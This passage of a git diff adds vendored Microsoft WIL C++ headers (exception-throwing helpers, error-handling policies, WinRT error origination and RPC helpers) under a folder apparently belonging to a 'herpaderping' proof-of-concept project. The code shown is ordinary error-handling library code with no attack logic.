__R_CONDITIONAL_METHOD(HRESULT, Throw_IfFailed)(__R_CONDITIONAL_FN_PARAMS HRESULT hr) + { + if (FAILED(hr)) + { + __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return hr; + } + + _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(BOOL, Throw_IfWin32BoolFalse)(__R_CONDITIONAL_FN_PARAMS BOOL ret) + { + if (!ret) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return ret; + } + + _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(DWORD, Throw_IfWin32Error)(__R_CONDITIONAL_FN_PARAMS DWORD err) + { + if (FAILED_WIN32(err)) + { + __R_CALL_INTERNAL_METHOD(_Throw_Win32)(__R_CONDITIONAL_FN_CALL err); + } + return err; + } + + _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(HANDLE, Throw_IfHandleInvalid)(__R_CONDITIONAL_FN_PARAMS HANDLE handle) + { + if (handle == INVALID_HANDLE_VALUE) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(RESULT_NORETURN_NULL HANDLE, Throw_IfHandleNull)(__R_CONDITIONAL_FN_PARAMS HANDLE handle) + { + if (handle == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return handle; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY); + } + } + + _Post_satisfies_(return == condition) + _When_(condition, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(bool, Throw_HrIf)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) + { + if (condition) + { + __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + _Post_satisfies_(return == condition) + _When_(!condition, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(bool, Throw_HrIfFalse)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) + { + if (!condition) + { + __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(bool, Throw_GetLastErrorIf)(__R_CONDITIONAL_FN_PARAMS bool condition) + { + if (condition) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(bool, Throw_GetLastErrorIfFalse)(__R_CONDITIONAL_FN_PARAMS bool condition) + { + if (!condition) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer) + { + if (pointer == nullptr) + { + __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY); + } + } + + _Post_satisfies_(return == status) + _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_) + __R_CONDITIONAL_METHOD(NTSTATUS, Throw_IfNtStatusFailed)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status) + { + if (FAILED_NTSTATUS(status)) + { + __R_CALL_INTERNAL_METHOD(_Throw_NtStatus)(__R_CONDITIONAL_FN_CALL status); + } + return status; + } + + __R_DIRECT_NORET_METHOD(void, Throw_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList); + } + + __R_DIRECT_NORET_METHOD(void, Throw_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList); + } + + __R_DIRECT_NORET_METHOD(void, Throw_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastErrorMsg(__R_DIRECT_FN_CALL formatString, argList); + } + + __R_DIRECT_NORET_METHOD(void, Throw_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList); + } + + __R_DIRECT_NORET_METHOD(void, Throw_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) + { + va_list argList; + va_start(argList, formatString); + __R_FN_LOCALS; + wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList); + } + + __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_HrMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) + { + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList); + } + + __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_GetLastErrorMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) + { + __R_FN_LOCALS; + wil::details::ReportFailure_GetLastErrorMsg(__R_INTERNAL_NOINLINE_FN_CALL formatString, argList); + } + + __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_Win32Msg)(__R_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) + { + __R_FN_LOCALS; + wil::details::ReportFailure_Win32Msg(__R_INTERNAL_NOINLINE_FN_CALL err, formatString, argList); + } + + __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_NullAllocMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) + { + __R_FN_LOCALS; + wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList); + } + + __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_NtStatusMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) + { + __R_FN_LOCALS; + wil::details::ReportFailure_NtStatusMsg(__R_INTERNAL_NOINLINE_FN_CALL status, formatString, argList); + } + + _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Throw_IfFailedMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) + { + if (FAILED(hr)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return hr; + } + + _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(BOOL, Throw_IfWin32BoolFalseMsg)(__R_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...) + { + if (!ret) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return ret; + } + + _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(DWORD, Throw_IfWin32ErrorMsg)(__R_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) + { + if (FAILED_WIN32(err)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_Win32Msg)(__R_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList); + } + return err; + } + + _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Throw_IfHandleInvalidMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) + { + if (handle == INVALID_HANDLE_VALUE) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + _Post_satisfies_(return == handle) _When_(handle == 0, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(RESULT_NORETURN_NULL HANDLE, Throw_IfHandleNullMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) + { + if (handle == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return handle; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_HrIfMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_HrIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList); + } + } + + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_GetLastErrorIfMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) + { + if (condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_GetLastErrorIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) + { + if (!condition) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return condition; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)> + _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + return pointer; + } + + template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)> + __WI_SUPPRESS_NULLPTR_ANALYSIS + _When_(pointer == nullptr, _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) + { + if (pointer == nullptr) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList); + } + } + + _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_) + __R_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, Throw_IfNtStatusFailedMsg)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) + { + if (FAILED_NTSTATUS(status)) + { + va_list argList; + va_start(argList, formatString); + __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NtStatusMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList); + } + return status; + } +#endif // WIL_ENABLE_EXCEPTIONS + + } // __R_NS_NAME namespace + } // details namespace + /// @endcond + + + //***************************************************************************** + // Error Handling Policies to switch between error-handling style + //***************************************************************************** + // The following policies are used as template policies for components that can support exception, fail-fast, and + // error-code based modes. + + // Use for classes which should return HRESULTs as their error-handling policy + // Intentionally removed logging from this policy as logging is more useful at the caller. + struct err_returncode_policy + { + typedef HRESULT result; + + __forceinline static HRESULT Win32BOOL(BOOL fReturn) { RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(fReturn); return S_OK; } + __forceinline static HRESULT Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; RETURN_LAST_ERROR_IF_NULL_EXPECTED(h); return S_OK; } + _Post_satisfies_(return == hr) + __forceinline static HRESULT HResult(HRESULT hr) { return hr; } + __forceinline static HRESULT LastError() { return wil::details::GetLastErrorFailHr(); } + __forceinline static HRESULT LastErrorIfFalse(bool condition) { RETURN_LAST_ERROR_IF_EXPECTED(!condition); return S_OK; } + _Post_satisfies_(return == S_OK) + __forceinline static HRESULT OK() { return S_OK; } + }; + + // Use for classes which fail-fast on errors + struct err_failfast_policy + { + typedef _Return_type_success_(true) void result; + __forceinline static result Win32BOOL(BOOL fReturn) { FAIL_FAST_IF_WIN32_BOOL_FALSE(fReturn); } + __forceinline static result Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; FAIL_FAST_LAST_ERROR_IF_NULL(h); } + _When_(FAILED(hr), _Analysis_noreturn_) + __forceinline static result HResult(HRESULT hr) { FAIL_FAST_IF_FAILED(hr); } + __forceinline static result LastError() { FAIL_FAST_LAST_ERROR(); } + __forceinline static result LastErrorIfFalse(bool condition) { if (!condition) { FAIL_FAST_LAST_ERROR(); } } + __forceinline static result OK() {} + }; + +#ifdef WIL_ENABLE_EXCEPTIONS + // Use for classes which should return through exceptions as their error-handling policy + struct err_exception_policy + { + typedef _Return_type_success_(true) void result; + __forceinline static result Win32BOOL(BOOL fReturn) { THROW_IF_WIN32_BOOL_FALSE(fReturn); } + __forceinline static result Win32Handle(HANDLE h, _Out_ HANDLE *ph) { *ph = h; THROW_LAST_ERROR_IF_NULL(h); } + _When_(FAILED(hr), _Analysis_noreturn_) + __forceinline static result HResult(HRESULT hr) { THROW_IF_FAILED(hr); } + __forceinline static result LastError() { THROW_LAST_ERROR(); } + __forceinline static result LastErrorIfFalse(bool condition) { if (!condition) { THROW_LAST_ERROR(); } } + __forceinline static result OK() {} + }; +#else + // NOTE: A lot of types use 'err_exception_policy' as a default template argument and therefore it must be defined + // (MSVC is permissive about this, but other compilers are not). This will still cause compilation errors at + // template instantiation time since this type lacks required member functions. An alternative would be to have some + // 'default_err_policy' alias that would be something like 'err_failfast_policy' when exceptions are not available, + // but that may have unexpected side effects when compiling code that expects to be using exceptions + struct err_exception_policy + { + }; +#endif + +} // namespace wil + +#pragma warning(pop) + +#endif // defined(__cplusplus) && !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE) +#endif // __WIL_RESULTMACROS_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_originate.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_originate.h new file mode 100644 index 00000000..19a07f8a --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result_originate.h @@ -0,0 +1,125 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* + +// Note: When origination is enabled by including this file, origination is done as part of the RETURN_* and THROW_* macros. Before originating +// a new error we will observe whether there is already an error payload associated with the current thread. If there is, and the HRESULTs match, +// then a new error will not be originated. Otherwise we will overwrite it with a new origination. The ABI boundary for WinRT APIs will check the +// per-thread error information. The act of checking the error clears it, so there should be minimal risk of failing to originate distinct errors +// simply because the HRESULTs match. +// +// For THROW_ macros we will examine the thread-local error storage once per throw. So typically once, with additional calls if the exception is +// caught and re-thrown. +// +// For RETURN_ macros we will have to examine the thread-local error storage once per frame as the call stack unwinds. Because error conditions +// -should- be uncommon the performance impact of checking TLS should be minimal. The more expensive part is originating the error because it must +// capture the entire stack and some additional data. + +#ifndef __WIL_RESULT_ORIGINATE_INCLUDED +#define __WIL_RESULT_ORIGINATE_INCLUDED + +#include "result.h" +#include // RestrictedErrorInfo uses BSTRs :( +#include "resource.h" +#include "com.h" +#include + +namespace wil +{ + namespace details + { + // Note: The name must begin with "Raise" so that the !analyze auto-bucketing will ignore this stack frame. Otherwise this line of code gets all the blame. + inline void __stdcall RaiseRoOriginateOnWilExceptions(wil::FailureInfo const& failure) WI_NOEXCEPT + { + if ((failure.type == FailureType::Return) || (failure.type == FailureType::Exception)) + { + bool shouldOriginate = true; + + wil::com_ptr_nothrow restrictedErrorInformation; + if (GetRestrictedErrorInfo(&restrictedErrorInformation) == S_OK) + { + // This thread already has an error origination payload. Don't originate again if it has the same HRESULT that we are + // observing right now. + wil::unique_bstr descriptionUnused; + HRESULT existingHr = failure.hr; + wil::unique_bstr restrictedDescriptionUnused; + wil::unique_bstr capabilitySidUnused; + if (SUCCEEDED(restrictedErrorInformation->GetErrorDetails(&descriptionUnused, &existingHr, &restrictedDescriptionUnused, &capabilitySidUnused))) + { + shouldOriginate = (failure.hr != existingHr); + } + } + + if (shouldOriginate) + { +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + wil::unique_hmodule errorModule; + if (GetModuleHandleExW(0, L"api-ms-win-core-winrt-error-l1-1-1.dll", &errorModule)) + { + auto pfn = reinterpret_cast(GetProcAddress(errorModule.get(), "RoOriginateError")); + if (pfn != nullptr) + { + pfn(failure.hr, nullptr); + } + } +#else // DESKTOP | SYSTEM + ::RoOriginateError(failure.hr, nullptr); +#endif // DESKTOP | SYSTEM + } + else if (restrictedErrorInformation) + { + // GetRestrictedErrorInfo returns ownership of the error information. If we aren't originating, and an error was already present, + // then we need to restore the error information for later observation. + SetRestrictedErrorInfo(restrictedErrorInformation.get()); + } + } + } + + // This method will check for the presence of stowed exception data on the current thread. If such data exists, and the HRESULT + // matches the current failure, then we will call RoFailFastWithErrorContext. RoFailFastWithErrorContext in this situation will + // result in -VASTLY- improved crash bucketing. It is hard to express just how much better. In other cases we just return and + // the calling method fails fast the same way it always has. + inline void __stdcall FailfastWithContextCallback(wil::FailureInfo const& failure) WI_NOEXCEPT + { + wil::com_ptr_nothrow restrictedErrorInformation; + if (GetRestrictedErrorInfo(&restrictedErrorInformation) == S_OK) + { + wil::unique_bstr descriptionUnused; + HRESULT existingHr = failure.hr; + wil::unique_bstr restrictedDescriptionUnused; + wil::unique_bstr capabilitySidUnused; + if (SUCCEEDED(restrictedErrorInformation->GetErrorDetails(&descriptionUnused, &existingHr, &restrictedDescriptionUnused, &capabilitySidUnused)) && + (existingHr == failure.hr)) + { + // GetRestrictedErrorInfo returns ownership of the error information. We want it to be available for RoFailFastWithErrorContext + // so we must restore it via SetRestrictedErrorInfo first. + SetRestrictedErrorInfo(restrictedErrorInformation.get()); + RoFailFastWithErrorContext(existingHr); + } + else + { + // The error didn't match the current failure. Put it back in thread-local storage even though we aren't failing fast + // in this method, so it is available in the debugger just-in-case. + SetRestrictedErrorInfo(restrictedErrorInformation.get()); + } + } + } + } // namespace details +} // namespace wil + +// Automatically call RoOriginateError upon error origination by including this file +WI_HEADER_INITITALIZATION_FUNCTION(ResultStowedExceptionInitialize, [] +{ + ::wil::SetOriginateErrorCallback(::wil::details::RaiseRoOriginateOnWilExceptions); + ::wil::SetFailfastWithContextCallback(::wil::details::FailfastWithContextCallback); + return 1; +}); + +#endif // __WIL_RESULT_ORIGINATE_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/rpc_helpers.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/rpc_helpers.h new file mode 100644 index 00000000..63fd97b5 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/rpc_helpers.h @@ -0,0 +1,206 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_RPC_HELPERS_INCLUDED +#define __WIL_RPC_HELPERS_INCLUDED + +#include "result.h" +#include "resource.h" +#include "wistd_functional.h" +#include "wistd_type_traits.h" + +namespace wil +{ + + /// @cond + namespace details + { + // This call-adapter template converts a void-returning 'wistd::invoke' into + // an HRESULT-returning 'wistd::invoke' that emits S_OK. It can be eliminated + // with 'if constexpr' when C++17 is in wide use. + template struct call_adapter + { + template static HRESULT call(TArgs&& ... args) + { + return wistd::invoke(wistd::forward(args)...); + } + }; + + template<> struct call_adapter + { + template static HRESULT call(TArgs&& ... args) + { + wistd::invoke(wistd::forward(args)...); + return S_OK; + } + }; + + // Some RPC exceptions are already HRESULTs. Others are in the regular Win32 + // error space. If the incoming exception code isn't an HRESULT, wrap it. + constexpr HRESULT map_rpc_exception(DWORD code) + { + return IS_ERROR(code) ? code : __HRESULT_FROM_WIN32(code); + } + } + /// @endcond + + /** Invokes an RPC method, mapping structured exceptions to HRESULTs + Failures encountered by the RPC infrastructure (such as server crashes, authentication + errors, client parameter issues, etc.) are emitted by raising a structured exception from + within the RPC machinery. This method wraps the requested call in the usual RpcTryExcept, + RpcTryCatch, and RpcEndExcept sequence then maps the exceptions to HRESULTs for the usual + flow control machinery to use. + + Many RPC methods are defined as returning HRESULT themselves, where the HRESULT indicates + the result of the _work_. HRESULTs returned by a successful completion of the _call_ are + returned as-is. + + RPC methods that have a return type of 'void' are mapped to returning S_OK when the _call_ + completes successfully. + + For example, consider an RPC interface method defined in idl as: + ~~~ + HRESULT GetKittenState([in, ref, string] const wchar_t* name, [out, retval] KittenState** state); + ~~~ + To call this method, use: + ~~~ + wil::unique_rpc_binding binding = // typically gotten elsewhere; + wil::unique_midl_ptr state; + HRESULT 